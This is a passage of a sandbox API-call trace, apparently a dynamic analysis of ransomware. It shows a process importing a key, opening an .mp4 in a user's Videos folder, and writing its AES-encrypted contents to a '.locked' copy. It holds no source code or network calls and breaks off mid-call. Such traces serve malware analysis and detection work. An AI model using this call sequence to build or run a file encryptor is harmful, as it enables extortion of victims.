(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.608] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.608] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.608] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0138.608] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.608] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.608] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.608] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.608] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0138.608] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.608] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.608] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.608] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.608] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0138.608] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.608] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.608] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.608] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.608] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0138.609] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.609] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.609] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.609] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.609] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0138.609] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.609] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.609] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.609] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.609] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0138.609] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.609] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.609] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.609] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.609] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.609] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.609] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.610] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.610] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.610] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.610] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.610] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.610] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.610] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.611] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.611] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.612] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x42eb210) returned 1 [0138.613] CryptImportKey (in: hProv=0x42eb210, pbData=0x6991440, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e85238) returned 1 [0138.613] CryptContextAddRef (hProv=0x42eb210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.613] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.613] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.613] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.613] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.615] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4")) returned 0x20 [0138.615] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4")) returned 0x20 [0138.615] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.615] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.615] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.615] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.615] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.616] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.616] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.616] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.616] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.618] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.618] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0138.619] GetFileType (hFile=0x764) returned 0x1 [0138.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.619] GetFileType (hFile=0x764) returned 0x1 [0138.619] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.619] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0138.619] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.619] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.619] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.620] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked", lpFilePart=0x0) returned 0x67 [0138.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.620] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0138.620] GetFileType (hFile=0x778) returned 0x1 [0138.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.620] GetFileType (hFile=0x778) returned 0x1 [0138.620] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.621] CryptGenRandom (in: hProv=0x42eb210, dwLen=0x10, pbBuffer=0x69aea00 | out: pbBuffer=0x69aea00) returned 1 [0138.621] CryptContextAddRef (hProv=0x42eb210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.621] CryptDuplicateKey (in: hKey=0x8e85238, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e853b8) returned 1 [0138.621] CryptContextAddRef (hProv=0x42eb210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.621] CryptSetKeyParam (hKey=0x8e853b8, dwParam=0x4, pbData=0x69afcbc*=0x1, dwFlags=0x0) returned 1 [0138.621] CryptSetKeyParam (hKey=0x8e853b8, dwParam=0x1, pbData=0x69afc88, dwFlags=0x0) returned 1 [0138.621] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x3b0\x438\x242") returned 0x0 [0138.621] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.621] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.621] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.622] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.622] ReadFile (in: hFile=0x764, lpBuffer=0x69b32e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69b32e0*, lpNumberOfBytesRead=0x99ae7a8*=0xb371, lpOverlapped=0x0) returned 1 [0138.622] CryptEncrypt (in: hKey=0x8e853b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69c72ec*, pdwDataLen=0x99ae79c*=0xb370, dwBufLen=0xb370 | out: pbData=0x69c72ec*, pdwDataLen=0x99ae79c*=0xb370) returned 1 [0138.623] WriteFile (in: hFile=0x778, lpBuffer=0x69aeac0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69aeac0*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0138.624] WriteFile (in: hFile=0x778, lpBuffer=0x69c82d8*, nNumberOfBytesToWrite=0xa384, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69c82d8*, lpNumberOfBytesWritten=0x99ae780*=0xa384, lpOverlapped=0x0) returned 1 [0138.625] ReadFile (in: hFile=0x764, lpBuffer=0x69b32e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69b32e0*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0138.625] CryptEncrypt (in: hKey=0x8e853b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69d2680*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69d2680*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0138.625] CryptEncrypt (in: hKey=0x8e853b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69d26b4*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69d26b4*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0138.625] WriteFile (in: hFile=0x778, lpBuffer=0x69aeac0*, 